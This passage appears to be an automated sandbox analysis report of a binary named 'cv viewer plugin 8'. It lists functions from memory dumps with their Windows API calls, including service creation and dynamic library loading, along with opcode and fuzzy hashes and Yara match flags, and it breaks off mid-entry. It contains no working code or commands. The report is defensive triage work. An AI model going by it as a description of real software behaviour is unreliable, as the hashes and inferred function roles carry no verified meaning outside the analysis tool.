Instruction ID: 0798e567797c3878855b4bab686787edacf778f35687af3a591da3ecd4e7367f
Opcode Fuzzy Hash: 0a9b106d737e5955f7e3a9ba4cde3461b5735560fcf7edefc6a8cf2c74922c83
Instruction Fuzzy Hash: 4FB09279244208EFCB212F91EC09BA93F28EB04666F005410F60D440548B629420EFA1

Function 00402867 Relevance: 1.5, APIs: 1, Instructions: 10serviceCOMMON

Download Yara Rule

APIs

CreateServiceA.ADVAPI32 ref: 0040289B

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: CreateService
String ID:
API String ID: 1592570254-0
Opcode ID: 7dcb501d6f26ef6048b8203431d11e7e7df1b82d3dfe0c5c023a80862715867a
Instruction ID: 6a12e1419568bd4dde77bfe08bf1336b0284cce763a2789d4d1fd8c3da22f40c
Opcode Fuzzy Hash: 7dcb501d6f26ef6048b8203431d11e7e7df1b82d3dfe0c5c023a80862715867a
Instruction Fuzzy Hash: 01C04C35C48011EBCE346F905B4852937366740324B36857AD59BB31D0C7BD6E4FB66E

Function 00401051 Relevance: .8, Instructions: 774COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c970d07b5a8736805000ccf49c2c3e0be1249f32b7b106dff15c019d43e397c2
Instruction ID: c8bfbb54730352564b930089ec95ced814cd77ea998b2ca2cce047e86fd9f603
Opcode Fuzzy Hash: c970d07b5a8736805000ccf49c2c3e0be1249f32b7b106dff15c019d43e397c2
Instruction Fuzzy Hash: 1E520D37E4062A9BDB14CE9ACCC05C9B7A3AFC825475BC265CD58BB305D6B4BD06CAD0

Function 016AF07A Relevance: .6, Instructions: 634COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8565dba51f62ca82745c93959c5409f40a5920b3d56ea50adc44597dd0b8764c
Instruction ID: 84f2ddf535e0b305667e0fc1eaa7a677a232d616235e0f268fbef1196e0916c4
Opcode Fuzzy Hash: 8565dba51f62ca82745c93959c5409f40a5920b3d56ea50adc44597dd0b8764c
Instruction Fuzzy Hash: 182210B3F211144BCB48CE6DCC927DAB6E3BFD821871E8539E809E7705E639D9158A84

Function 016BE665 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 3fbb004ef34d20151d9aee65aef4aa1a7b9cde541481917a4b7d77b8814aeee1
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 6AC161322051A349EB6E463D88B40FFBEE15A926B131A076DD5B6CB2D6FF11C1A4D720

Function 016BE24D Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: be12d2ed4c57e7286549919ac6c1ce9f808ecbd738674e85d9c9831f543938bc
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 52C1863220516349EF2E463D88B40FFBEE15A926B130A076DD5B7CB2C6FF25D1A49720

Function 016DBF31 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016DA000.00000040.00001000.00020000.00000000.sdmp, Offset: 016DA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16da000_cv viewer plugin 8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124e937f443d5656e3571fc542e7406159cc2236b06d51d1d8f6c95260a21abc
Instruction ID: 6a5dcaba45cbf701f8a847a4a3d1342ba0df42b33d0696974bc9f6231aaf7327
Opcode Fuzzy Hash: 124e937f443d5656e3571fc542e7406159cc2236b06d51d1d8f6c95260a21abc
Instruction Fuzzy Hash: 46A1D531419791AFDF96EF7484852C3BBE2BF4B304796A5DDC8818F062C7226497EB81

Function 00401C26 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af41b0c7e6cf134d524e8d64f6e4ae55e63b512cb5e841b2e55a01beb2b74a01
Instruction ID: a42d24ad3a6fb18dd8d66be16c581d82c7a306d1cb0e87925171907ef8f84c95
Opcode Fuzzy Hash: af41b0c7e6cf134d524e8d64f6e4ae55e63b512cb5e841b2e55a01beb2b74a01
Instruction Fuzzy Hash: 30A1F6319081559BEB19CA98C0A07BD7B71EF41304F2880BEC8937B7E2C678D946D785

Function 016DBF80 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016DA000.00000040.00001000.00020000.00000000.sdmp, Offset: 016DA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16da000_cv viewer plugin 8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18065d89e0e1c8101376a4ee99de5a6116295034ea86d5add9c0711c4cf4d418
Instruction ID: a426a40a65b3a2ffd73c8c2bf55898922059cc4f48d57b32a57e8f52e0471245
Opcode Fuzzy Hash: 18065d89e0e1c8101376a4ee99de5a6116295034ea86d5add9c0711c4cf4d418
Instruction Fuzzy Hash: D981E431419392AFDFA6EF7484952C3BFE2AF4B300796A5D9C8818B062C6215497FB81

Function 016A24E1 Relevance: 21.2, APIs: 14, Instructions: 173COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A24E6
InterlockedCompareExchange.KERNEL32(?,00000000,00000001), ref: 016A24FC
RtlEnterCriticalSection.NTDLL(?), ref: 016A250E
RtlLeaveCriticalSection.NTDLL(?), ref: 016A256D
SetLastError.KERNEL32(00000000,?,76F8DFB0), ref: 016A257F
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?,76F8DFB0), ref: 016A2599
GetLastError.KERNEL32(?,76F8DFB0), ref: 016A25A2
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 016A25F0
InterlockedDecrement.KERNEL32(00000002), ref: 016A262F
InterlockedExchange.KERNEL32(00000000,00000000), ref: 016A268E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016A2699
InterlockedExchange.KERNEL32(00000000,00000001), ref: 016A26AD
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,76F8DFB0), ref: 016A26BD
GetLastError.KERNEL32(?,76F8DFB0), ref: 016A26C7

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$ErrorLast$CompareCompletionCriticalQueuedSectionStatus$DecrementEnterH_prologLeavePost
String ID:
API String ID: 1213838671-0
Opcode ID: e2f218cd4719bb9e881257cc7e98f86a7e4bb7c33ce5b011fbc975e7db030ae2
Instruction ID: 21278201b7979e10041900c0160b5f94cb94bcebdcec2a979be06591b7c4e469
Opcode Fuzzy Hash: e2f218cd4719bb9e881257cc7e98f86a7e4bb7c33ce5b011fbc975e7db030ae2
Instruction Fuzzy Hash: D0614DB5A01209AFCB21DFA8CD94AAEBBB9FF08310F50556EE556E3240D734A954CF60

Function 016B8333 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 016B833B
_free.LIBCMT ref: 016B8354

Part of subcall function 016B2F74: HeapFree.KERNEL32(00000000,00000000,?,016B5CD2,00000000,?,?,?,00000000,?,016B89B8,00000018,016D16F8,00000008,016B8905,?), ref: 016B2F88
Part of subcall function 016B2F74: GetLastError.KERNEL32(00000000,?,016B5CD2,00000000,?,?,?,00000000,?,016B89B8,00000018,016D16F8,00000008,016B8905,?,?), ref: 016B2F9A

_free.LIBCMT ref: 016B8367
_free.LIBCMT ref: 016B8385
_free.LIBCMT ref: 016B8397
_free.LIBCMT ref: 016B83A8
_free.LIBCMT ref: 016B83B3
_free.LIBCMT ref: 016B83D7
RtlEncodePointer.NTDLL(00AAE180), ref: 016B83DE
_free.LIBCMT ref: 016B83F3
_free.LIBCMT ref: 016B8409
_free.LIBCMT ref: 016B8431

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: 189d03a7a850f416433ad8b59adb744528252fc63fa49e73ab3c9fe878f810e3
Instruction ID: acaa6808b5f2e2397d9aac3675e8fc47589ca511900aeb749d017d272185a9bc
Opcode Fuzzy Hash: 189d03a7a850f416433ad8b59adb744528252fc63fa49e73ab3c9fe878f810e3
Instruction Fuzzy Hash: 0421AB72D07222CBDB356F5DFDC05993BBDBB44220309122DE90493368CB35A8A4CFA4

Function 00403BA2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402F34), ref: 00403BBD
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402F34), ref: 00403BD1
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402F34), ref: 00403BFD
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402F34), ref: 00403C35
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402F34), ref: 00403C57
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00402F34), ref: 00403C70
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402F34), ref: 00403C83
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00403CC1

Strings

4/@, xrefs: 00403C6B, 00403C5D

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: 4/@
API String ID: 1823725401-3101945251
Opcode ID: aff10945ecf90bbee9edc284fe0c12867232451494807f8f70b2732d2a40bc2d
Instruction ID: a2970ceca2a6c3f976dc545d3d2173026391ae6ff2d108e1c7f08cdddd2a955e
Opcode Fuzzy Hash: aff10945ecf90bbee9edc284fe0c12867232451494807f8f70b2732d2a40bc2d
Instruction Fuzzy Hash: AD31F27350C1245EE7202F785DC883B7E9CEA4534A711093FF942F3380EA798E81466D

Function 016A3423 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A3428
GetModuleHandleA.KERNEL32(KERNEL32,CancelIoEx), ref: 016A346B
GetProcAddress.KERNEL32(00000000), ref: 016A3472
GetLastError.KERNEL32 ref: 016A3486
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 016A34D7
RtlEnterCriticalSection.NTDLL(00000018), ref: 016A34ED
RtlLeaveCriticalSection.NTDLL(00000018), ref: 016A3518

Strings

KERNEL32, xrefs: 016A3466
CancelIoEx, xrefs: 016A3461

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSection$AddressCompareEnterErrorExchangeH_prologHandleInterlockedLastLeaveModuleProc
String ID: CancelIoEx$KERNEL32
API String ID: 2902213904-434325024
Opcode ID: 741688652d15457712ba45749a05aa9b2d37dce14df8fb608511035fb1e231a4
Instruction ID: 045de62dbf7660c56f094d6308fdfacdd15106cb2b5b2f70dba7d1219297b15c
Opcode Fuzzy Hash: 741688652d15457712ba45749a05aa9b2d37dce14df8fb608511035fb1e231a4
Instruction Fuzzy Hash: EC31ADB9A00316DFDB11AF68CC84AAA7BF8FF58310F0084A9E9159B341C770D901CFA1

Function 00406578 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,00404381,?,Microsoft Visual C++ Runtime Library,00012010,?,0040858C,?,004085DC,?,?,?,Runtime Error!Program: ), ref: 0040658A
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 004065A2
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 004065B3
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 004065C0

Strings

MessageBoxA, xrefs: 0040659C
user32.dll, xrefs: 00406585
GetLastActivePopup, xrefs: 004065B5
GetActiveWindow, xrefs: 004065AD

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 987b992b6f5bbeab899bec9017d6b859524fa9c80776c30a59c8d29f16b735e1
Instruction ID: 34c45dea863b0ad37b671b2ee6745cf1fa65c172ae9c71c573f5c1b511995102
Opcode Fuzzy Hash: 987b992b6f5bbeab899bec9017d6b859524fa9c80776c30a59c8d29f16b735e1
Instruction Fuzzy Hash: FA017571A40201FFCB209FB5BFC492B3AE99B58690306193FB541F2291DE79C815DB68

Function 00406857 Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00408658,00000001,00000000,00000000,00000103,00000001,00000000,?,00406317,00200020,00000000,?,00000000,00000000), ref: 00406899
LCMapStringA.KERNEL32(00000000,00000100,00408654,00000001,00000000,00000000,?,00406317,00200020,00000000,?,00000000,00000000,00000001), ref: 004068B5
LCMapStringA.KERNEL32(00000000,?,00000000,00200020,00406317,?,00000103,00000001,00000000,?,00406317,00200020,00000000,?,00000000,00000000), ref: 004068FE
MultiByteToWideChar.KERNEL32(00000000,00000002,00000000,00200020,00000000,00000000,00000103,00000001,00000000,?,00406317,00200020,00000000,?,00000000,00000000), ref: 00406936
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,00406317,00200020,00000000,?,00000000), ref: 0040698E
LCMapStringW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,00406317,00200020,00000000,?,00000000), ref: 004069A4
LCMapStringW.KERNEL32(00000000,?,00406317,00000000,00406317,?,?,00406317,00200020,00000000,?,00000000), ref: 004069D7
LCMapStringW.KERNEL32(00000000,?,?,?,?,00000000,?,00406317,00200020,00000000,?,00000000), ref: 00406A3F

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: e9f64dd7570e4df949ea1626fd4153753d4334a99172a5ae067b945d03b43c58
Instruction ID: 8dbeb6cb8c932cbdef2775d2a29e2de0fc7c35b208bd80b0a47b5516e3ba15ce
Opcode Fuzzy Hash: e9f64dd7570e4df949ea1626fd4153753d4334a99172a5ae067b945d03b43c58
Instruction Fuzzy Hash: 3E518A71500209EBCF219F94CD45AAF7BB5FB49714F12413AF912B12A0C73A8C21DB69

Function 0040425D Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 004042CA
GetStdHandle.KERNEL32(000000F4,0040858C,00000000,?,00000000,00000000), ref: 004043A0
WriteFile.KERNEL32(00000000), ref: 004043A7

Strings

..., xrefs: 0040431C
<program name unknown>, xrefs: 004042DA
Microsoft Visual C++ Runtime Library, xrefs: 00404376
Runtime Error!Program: , xrefs: 00404330

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 4bb15c7821e3b7df3b39c29bb8507035fb8a1658cdd6742b24a8a426161d7798
Instruction ID: ad501088bf1d437e3d5a217a77e101a13ac7783d72fc0021c8d9dd27a33d1b06
Opcode Fuzzy Hash: 4bb15c7821e3b7df3b39c29bb8507035fb8a1658cdd6742b24a8a426161d7798
Instruction Fuzzy Hash: 52318772600218AFDF2096608E45FDA736DAF85304F1004BFF944B61D1EA789D458A5D

Function 016B1610 Relevance: 10.6, APIs: 7, Instructions: 132COMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100002,00000000,00000000,DA1F4857), ref: 016B16B0
CloseHandle.KERNEL32(00000000), ref: 016B16C5
ResetEvent.KERNEL32(00000000,DA1F4857), ref: 016B16CF
CloseHandle.KERNEL32(00000000,DA1F4857), ref: 016B1704
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,DA1F4857), ref: 016B177A
CloseHandle.KERNEL32(00000000), ref: 016B178F

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateOpenReset
String ID:
API String ID: 1285874450-0
Opcode ID: 782ec95f60872cc086625df3d7e14a34ddbb963f9af52814729644845f07163e
Instruction ID: f00d57ab3b2a9fcaba09d9a97696535fabf71df02a485649f1168006c867bc81
Opcode Fuzzy Hash: 782ec95f60872cc086625df3d7e14a34ddbb963f9af52814729644845f07163e
Instruction Fuzzy Hash: 0B414E70D00359AFDF21CFA9DC98BEDBBB8AB06760F144229E919EB381D7309945CB50

Function 016A2081 Relevance: 10.6, APIs: 7, Instructions: 116timeCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 016A20AC
SetWaitableTimer.KERNEL32(00000000,?,00000001,00000000,00000000,00000000), ref: 016A20CD
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016A20D8
InterlockedDecrement.KERNEL32(?), ref: 016A213E
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?), ref: 016A217A
InterlockedDecrement.KERNEL32(?), ref: 016A2187
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016A21A6

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$Decrement$CompletionQueuedStatusTimerWaitable
String ID:
API String ID: 1171374749-0
Opcode ID: 87460f2d7b42acdf736444f652999663e05b20550d8de50a9d94716c4c4ed9e1
Instruction ID: cb8390a0346137c73eb43b9f6db1348b4342baaff9271fbd2e34dde52e666521
Opcode Fuzzy Hash: 87460f2d7b42acdf736444f652999663e05b20550d8de50a9d94716c4c4ed9e1
Instruction Fuzzy Hash: 974116B56447019FC321DF2ADC8496BBBF9FBD8651F404A1EA59682250DB30E906CFA2

Function 016B1722 Relevance: 10.6, APIs: 7, Instructions: 107synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 016B1ED0: OpenEventA.KERNEL32(00100002,00000000,?,?,?,016B172E,?,?), ref: 016B1EFF
Part of subcall function 016B1ED0: CloseHandle.KERNEL32(00000000,?,?,016B172E,?,?), ref: 016B1F14
Part of subcall function 016B1ED0: SetEvent.KERNEL32(00000000,016B172E,?,?), ref: 016B1F27

OpenEventA.KERNEL32(00100002,00000000,00000000,DA1F4857), ref: 016B16B0
CloseHandle.KERNEL32(00000000), ref: 016B16C5
ResetEvent.KERNEL32(00000000,DA1F4857), ref: 016B16CF
CloseHandle.KERNEL32(00000000,DA1F4857), ref: 016B1704
__CxxThrowException@8.LIBCMT ref: 016B1735

Part of subcall function 016B455A: RaiseException.KERNEL32(?,?,016AFB5F,?,?,?,?,?,?,?,016AFB5F,?,016D0FA8,?), ref: 016B45AF

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,DA1F4857), ref: 016B177A
CloseHandle.KERNEL32(00000000), ref: 016B178F

Part of subcall function 016B1C10: GetCurrentProcessId.KERNEL32(?), ref: 016B1C69

WaitForSingleObject.KERNEL32(00000000,000000FF,DA1F4857), ref: 016B179F

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Event$CloseHandle$Open$CreateCurrentExceptionException@8ObjectProcessRaiseResetSingleThrowWait
String ID:
API String ID: 2227236058-0
Opcode ID: 1fd07d1e9e22f98908d837ad31c11416bc8ed355d314acfc3760e02372b3301d
Instruction ID: 735e5df1d507c2d09fc4f8ff6b768a1d0a605cfb27ab7e510e5140ea6a07b40d
Opcode Fuzzy Hash: 1fd07d1e9e22f98908d837ad31c11416bc8ed355d314acfc3760e02372b3301d
Instruction Fuzzy Hash: 00315371D00319BBEF21CBA8ECA4BEDB7B9AF06350F140129E919E7381E7209995CB51

Function 016B5D94 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 016B5D94

Part of subcall function 016B8503: RtlEncodePointer.NTDLL(00000000), ref: 016B8506
Part of subcall function 016B8503: __initp_misc_winsig.LIBCMT ref: 016B8521
Part of subcall function 016B8503: GetModuleHandleW.KERNEL32(kernel32.dll,?,016D15A8,00000008,00000003,016D0F8C,?,00000001), ref: 016B9281
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 016B9295
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 016B92A8
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 016B92BB
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 016B92CE
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 016B92E1
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 016B92F4
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 016B9307
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 016B931A
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 016B932D
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 016B9340
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 016B9353
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 016B9366
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 016B9379
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 016B938C
Part of subcall function 016B8503: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 016B939F

__mtinitlocks.LIBCMT ref: 016B5D99
__mtterm.LIBCMT ref: 016B5DA2

Part of subcall function 016B5E0A: RtlDeleteCriticalSection.NTDLL(00000000), ref: 016B8939
Part of subcall function 016B5E0A: _free.LIBCMT ref: 016B8940
Part of subcall function 016B5E0A: RtlDeleteCriticalSection.NTDLL(016D3978), ref: 016B8962

__calloc_crt.LIBCMT ref: 016B5DC7
__initptd.LIBCMT ref: 016B5DE9
GetCurrentThreadId.KERNEL32 ref: 016B5DF0

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: d1e84f389531e97eea149aef407818b9ce4f4e3328cf6f143466a982c2b34685
Instruction ID: ccabb8b77155c279011ca3e2dd524b604b5eab805296b8b74b454ff329106852
Opcode Fuzzy Hash: d1e84f389531e97eea149aef407818b9ce4f4e3328cf6f143466a982c2b34685
Instruction Fuzzy Hash: 2BF0F0325293131EE6787B397CCA6DB2B8A9B11630B24431EE622D61C8FF1188C25388

Function 016B34C1 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,?,016B3473,00000000), ref: 016B34DB
GetProcAddress.KERNEL32(00000000), ref: 016B34E2
RtlEncodePointer.NTDLL(00000000), ref: 016B34EE
RtlDecodePointer.NTDLL(00000001), ref: 016B350B

Strings

combase.dll, xrefs: 016B34D6
RoInitialize, xrefs: 016B34CA

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 746abb1109432056cc9143d3c1b123e51bae530f2c80623e86dee58c49ccfe86
Instruction ID: c2cbf63e340342d9327221dfa05384096130442dcf1273b514fb4b0689eb946f
Opcode Fuzzy Hash: 746abb1109432056cc9143d3c1b123e51bae530f2c80623e86dee58c49ccfe86
Instruction Fuzzy Hash: 1CE01AB0A91350AEDB305F75ED49B763B69F750B06F806028F406D1288CBB55268CF10

Function 016B3596 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,016B34B0), ref: 016B35B0
GetProcAddress.KERNEL32(00000000), ref: 016B35B7
RtlEncodePointer.NTDLL(00000000), ref: 016B35C2
RtlDecodePointer.NTDLL(016B34B0), ref: 016B35DD

Strings

combase.dll, xrefs: 016B35AB
RoUninitialize, xrefs: 016B359F

Memory Dump Source

